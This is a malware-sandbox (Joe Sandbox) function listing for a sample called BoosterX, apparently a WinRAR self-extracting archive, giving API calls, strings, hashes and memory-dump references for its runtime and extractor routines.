Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: f96344909874f118cd7fc652812aee2de17a0b901a5c412331694f6fbd6e8fc4
Instruction ID: f706cd35fd800242ab933965261bac2ecc1282917c92775390f1f815a720a42c
Opcode Fuzzy Hash: f96344909874f118cd7fc652812aee2de17a0b901a5c412331694f6fbd6e8fc4
Instruction Fuzzy Hash: 1651E362B14AA799EF15DFA298100B867A4FB48BD9B544233DE9DC7B89DF3CD0428300

Function 00007FF6C037A24C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF6C037A295
GetNumberFormatW.KERNEL32 ref: 00007FF6C037A2F1

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: d9124697dc7a8d84d5d498c11f979aef44ae65fa130e56fd134fc764616be2af
Instruction ID: a128b04f1b6e6915e7a78f33bd63348d1252cd0a5596b3329714a939ba5876b7
Opcode Fuzzy Hash: d9124697dc7a8d84d5d498c11f979aef44ae65fa130e56fd134fc764616be2af
Instruction Fuzzy Hash: 44114F32A18B82A6E7618F61E4107E97360FF88B85F844135DA8DC3755DF3CD245CB44

Function 00007FF6C0365164 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF6C0365195

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 28938a17eae63f527378ec6d8089add22f73b828584f204ae18651ef0e591bdf
Instruction ID: a2486be5aca58c0c61c419dc6b93bf6c6a1466429eaf7282509b168bbceef054
Opcode Fuzzy Hash: 28938a17eae63f527378ec6d8089add22f73b828584f204ae18651ef0e591bdf
Instruction Fuzzy Hash: 4901E575A08A43ABFA64CF10E85177A33A1BB99316F600235D69DC67A5DF3CE5058E04

Function 00007FF6C035D7E0 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 98COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035D974

Strings

::$EA_INFORMATION, xrefs: 00007FF6C035D838
:$EFS:$LOGGED_UTILITY_STREAM, xrefs: 00007FF6C035D87A
:$TXF_DATA:$LOGGED_UTILITY_STREAM, xrefs: 00007FF6C035D885
:$I30:$INDEX_ALLOCATION, xrefs: 00007FF6C035D859
::$INDEX_ROOT, xrefs: 00007FF6C035D864
::$INDEX_ALLOCATION, xrefs: 00007FF6C035D84E
::$FILE_NAME, xrefs: 00007FF6C035D843
::$BITMAP, xrefs: 00007FF6C035D817
::$EA, xrefs: 00007FF6C035D82D
::$ATTRIBUTE_LIST, xrefs: 00007FF6C035D80C
::$DATA, xrefs: 00007FF6C035D822
::$REPARSE_POINT, xrefs: 00007FF6C035D89B
::$LOGGED_UTILITY_STREAM, xrefs: 00007FF6C035D86F
::$OBJECT_ID, xrefs: 00007FF6C035D890

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: :$EFS:$LOGGED_UTILITY_STREAM$:$I30:$INDEX_ALLOCATION$:$TXF_DATA:$LOGGED_UTILITY_STREAM$::$ATTRIBUTE_LIST$::$BITMAP$::$DATA$::$EA$::$EA_INFORMATION$::$FILE_NAME$::$INDEX_ALLOCATION$::$INDEX_ROOT$::$LOGGED_UTILITY_STREAM$::$OBJECT_ID$::$REPARSE_POINT
API String ID: 3668304517-727060406
Opcode ID: d3aa207b925aaa45bbd348e2706146858f096aab5cdaf612773ab52f2a051993
Instruction ID: 56a7973d47be8ac66e5fe5eb1e62485f4892b9158121b9b179435dcbb22b439b
Opcode Fuzzy Hash: d3aa207b925aaa45bbd348e2706146858f096aab5cdaf612773ab52f2a051993
Instruction Fuzzy Hash: A241D576B05B02A9EB118F64E4843E933A9EB48799F500636DE8CD3B69EF38D155C344

Function 00007FF6C0382990 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF6C03829A6
GetModuleHandleW.KERNEL32 ref: 00007FF6C03829B3
GetModuleHandleW.KERNEL32 ref: 00007FF6C03829C8
GetProcAddress.KERNEL32 ref: 00007FF6C03829E0
GetProcAddress.KERNEL32 ref: 00007FF6C03829F3
CreateEventW.KERNEL32 ref: 00007FF6C0382A1F
DeleteCriticalSection.KERNEL32 ref: 00007FF6C0382A6B
CloseHandle.KERNEL32 ref: 00007FF6C0382A7D

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF6C03829AC
kernel32.dll, xrefs: 00007FF6C03829C1
WakeAllConditionVariable, xrefs: 00007FF6C03829E6
SleepConditionVariableCS, xrefs: 00007FF6C03829D6

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: fdee9745a353db95c9b4b27806cffd46c0390e42e013dce2f99bb91082c79cfb
Instruction ID: 97c25fecaedbe174f6d8ff3be46f50d3497c1227ead9436b531e2453fa87bfab
Opcode Fuzzy Hash: fdee9745a353db95c9b4b27806cffd46c0390e42e013dce2f99bb91082c79cfb
Instruction Fuzzy Hash: 52211D64E19A03B1FE28DF60E99517523A0AF88B86F440177CE8EC27A1DF3CE546C704

Function 00007FF6C03669CC Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 444COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0367066

Part of subcall function 00007FF6C0352004: std::_Xinvalid_argument.LIBCPMT ref: 00007FF6C035200F

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0367072
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0367078
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0367084
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0367096
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036709C

Strings

\\?\, xrefs: 00007FF6C0366A17, 00007FF6C0366A26
DXGIDebug.dll, xrefs: 00007FF6C03669D8
UNC, xrefs: 00007FF6C0366B7F

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: DXGIDebug.dll$UNC$\\?\
API String ID: 4097890229-4048004291
Opcode ID: bd3678a704b3fbe9d4da05dd4776dd800f3f2c11ab756146d0a2ea33823be3c5
Instruction ID: 6fd09d31254888a6d2f05fa34331f795055680783a567bce423790d55e0e6859
Opcode Fuzzy Hash: bd3678a704b3fbe9d4da05dd4776dd800f3f2c11ab756146d0a2ea33823be3c5
Instruction Fuzzy Hash: 3C129B22B08A43A4EA109F65E4481AD6376FB81BD9F504236DB9DC7BE9DF3CD549C340

Function 00007FF6C037A3C0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C035129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C0351396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037A6AF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037A6B5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037A6BB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037A6C1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037A6C7
EndDialog.USER32 ref: 00007FF6C037A73A

Strings

Software\WinRAR SFX, xrefs: 00007FF6C037A4AB, 00007FF6C037A4BA
GETPASSWORD1, xrefs: 00007FF6C037A6F3

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 431506467-1315819833
Opcode ID: 934b9c1a3412f36c545f982de326ba61b21e501abc14814ed042a99284b1f3e4
Instruction ID: d401dcd8f5ba3855c676a81dbd8a8b6a94794466b628a70139270d5e0207093d
Opcode Fuzzy Hash: 934b9c1a3412f36c545f982de326ba61b21e501abc14814ed042a99284b1f3e4
Instruction Fuzzy Hash: E4B1BF62F09B83A5FB009FA8D4442BC2362AB85799F504236DE9CE6BD9DF3CE145C344

Function 00007FF6C0376E00 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6C0377E1B), ref: 00007FF6C0377000
CreateStreamOnHGlobal.COMBASE ref: 00007FF6C0377031
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C03770FB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0377101
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0377107

Strings

</html>, xrefs: 00007FF6C0376EF2, 00007FF6C0376F01
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF6C0376EAC, 00007FF6C0376EBB
<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00007FF6C0376E55, 00007FF6C0376E64
<html>, xrefs: 00007FF6C0376E93

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Global$AllocCreateStream
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2868844859-1533471033
Opcode ID: 0c7c52e401b8d11eced88253f3d41f1411c2599d6453e61bec2c7b8e04503a21
Instruction ID: cd603f2c6622f85f2f026bb45e9cb3825cee7ab423402b3ec28fcd04e5ac3f73
Opcode Fuzzy Hash: 0c7c52e401b8d11eced88253f3d41f1411c2599d6453e61bec2c7b8e04503a21
Instruction Fuzzy Hash: 7381AE22F08A43A5FB00DFA9D9542ED2371AB4578AF400236DE9DD7B9AEF38D506C344

Function 00007FF6C038E5D0 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C038E74D

Strings

nan(ind), xrefs: 00007FF6C038E686
NAN(IND), xrefs: 00007FF6C038E67B
nan(snan), xrefs: 00007FF6C038E670
NAN(SNAN), xrefs: 00007FF6C038E665
INF, xrefs: 00007FF6C038E643
nan, xrefs: 00007FF6C038E638
inf, xrefs: 00007FF6C038E656
NAN, xrefs: 00007FF6C038E631

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: a60231409e47c1a5672abfa229f1b0c42138c6649af1949bad2eb6332146811d
Instruction ID: d33eca2d457c3e59c59b980356984ad9673f2f1f401245b8b735f6a6fec30257
Opcode Fuzzy Hash: a60231409e47c1a5672abfa229f1b0c42138c6649af1949bad2eb6332146811d
Instruction Fuzzy Hash: 6641AB72A19B86A9EB00CF25E8417AD33A4EB58398F014636EE9CC7B95DF3CD125C344

Function 00007FF6C037F310 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF6C037F34F
GetClassNameW.USER32 ref: 00007FF6C037F37C
GetWindowLongPtrW.USER32 ref: 00007FF6C037F39D
SendMessageW.USER32 ref: 00007FF6C037F3B7
GetObjectW.GDI32 ref: 00007FF6C037F3D2
SendMessageW.USER32 ref: 00007FF6C037F407
DeleteObject.GDI32 ref: 00007FF6C037F410
GetWindow.USER32 ref: 00007FF6C037F41E

Strings

STATIC, xrefs: 00007FF6C037F382

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: 0a32551ddf3b327544de21b3e538b695597bcc4fc0cc33eb1cc93d7c3056c0d2
Instruction ID: c540955a445330a01e0a9f40cc830deb2569ff4e7bb248637a65ef52cdcc519e
Opcode Fuzzy Hash: 0a32551ddf3b327544de21b3e538b695597bcc4fc0cc33eb1cc93d7c3056c0d2
Instruction Fuzzy Hash: 53318425B08A53A6FA60AF1AAA147BA2391BF89BD6F440430DD8DC7B95DF3CD4068740

Function 00007FF6C037AE10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF6C037AE2E

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ItemTextWindow
String ID: LICENSEDLG
API String ID: 2478532303-2177901306
Opcode ID: 5e69cc00c892a1ed4ceb77280b1a6400356bae2dc9350c12f29b595a45a8884e
Instruction ID: d9dca70591fde81e10b3dd433acd0e98729fd5da2e914c97390ef366040d85d2
Opcode Fuzzy Hash: 5e69cc00c892a1ed4ceb77280b1a6400356bae2dc9350c12f29b595a45a8884e
Instruction Fuzzy Hash: F441AB25B0CE53E2FB549F59E91477923A1AF89F86F140134D98EC7BA5CF3CA6868700

Function 00007FF6C0378758 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0378D36
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0378D42
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0378D4E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0378D5A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0378D60

Strings

, xrefs: 00007FF6C03789D5
, xrefs: 00007FF6C037883E

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $
API String ID: 3668304517-227171996
Opcode ID: 247688ddbdbe316bb5652999d32d4be79bac05f2d15fc7f94ce6e99227d45787
Instruction ID: 76b14f9105e35ab0bc94430a66d393f662d2986dc197e91d9c624b1a2790406f
Opcode Fuzzy Hash: 247688ddbdbe316bb5652999d32d4be79bac05f2d15fc7f94ce6e99227d45787
Instruction Fuzzy Hash: 0FF1AC62F14643A0EE149F69D6881BC2362AB45BA9F505632CE9DD7BD9EF7CE180C340

Function 00007FF6C038576C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6C038590A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C0385C2D
abort.LIBCMT ref: 00007FF6C0385C61

Strings

csm, xrefs: 00007FF6C03858B3
csm, xrefs: 00007FF6C0385931
csm, xrefs: 00007FF6C0385851

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 3e10ce34ec1ec2318b4e5d1a096f68ad678d9ed54216a6dc3b478c18613d0621
Instruction ID: ed52bd7a41ba3f5b712f329456a5237a6342890437e96764b6d563da8f8f8e55
Opcode Fuzzy Hash: 3e10ce34ec1ec2318b4e5d1a096f68ad678d9ed54216a6dc3b478c18613d0621
Instruction Fuzzy Hash: 8AE1AE72A087839AEB209F64D4803AD7BA0FB44B5AF140277DA8DC7796DF38E585C710

Function 00007FF6C0364EF8 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C0364DE4: SysAllocString.OLEAUT32 ref: 00007FF6C0364E1F

VariantClear.OLEAUT32 ref: 00007FF6C03650E5

Strings

WQL, xrefs: 00007FF6C0364FEA
ROOT\CIMV2, xrefs: 00007FF6C0364F3B
SELECT * FROM Win32_OperatingSystem, xrefs: 00007FF6C0364FD7
Name, xrefs: 00007FF6C03650B9
Windows 10, xrefs: 00007FF6C03650CA

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AllocClearStringVariant
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 1959693985-3505469590
Opcode ID: 408e286e95d7be2333e7e980e9c5bf6a4dc44dd0e8b0d4c37376681f41bb0957
Instruction ID: c93dc10584a4fd9fba8781356890aecbd0bb24617ac453f6766e1d17dbbdff93
Opcode Fuzzy Hash: 408e286e95d7be2333e7e980e9c5bf6a4dc44dd0e8b0d4c37376681f41bb0957
Instruction Fuzzy Hash: 2E712776A14A06A5EB20CF25E8806AD77B4FB89B99F455132EE8EC3B64CF38D144C740

Function 00007FF6C038726C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6C0387473,?,?,?,00007FF6C03851DE,?,?,?,00007FF6C0385199), ref: 00007FF6C03872F1
GetLastError.KERNEL32(?,?,00000000,00007FF6C0387473,?,?,?,00007FF6C03851DE,?,?,?,00007FF6C0385199), ref: 00007FF6C03872FF
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6C0387473,?,?,?,00007FF6C03851DE,?,?,?,00007FF6C0385199), ref: 00007FF6C0387329
FreeLibrary.KERNEL32(?,?,00000000,00007FF6C0387473,?,?,?,00007FF6C03851DE,?,?,?,00007FF6C0385199), ref: 00007FF6C038736F
GetProcAddress.KERNEL32(?,?,00000000,00007FF6C0387473,?,?,?,00007FF6C03851DE,?,?,?,00007FF6C0385199), ref: 00007FF6C038737B

Strings

api-ms-, xrefs: 00007FF6C0387311

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
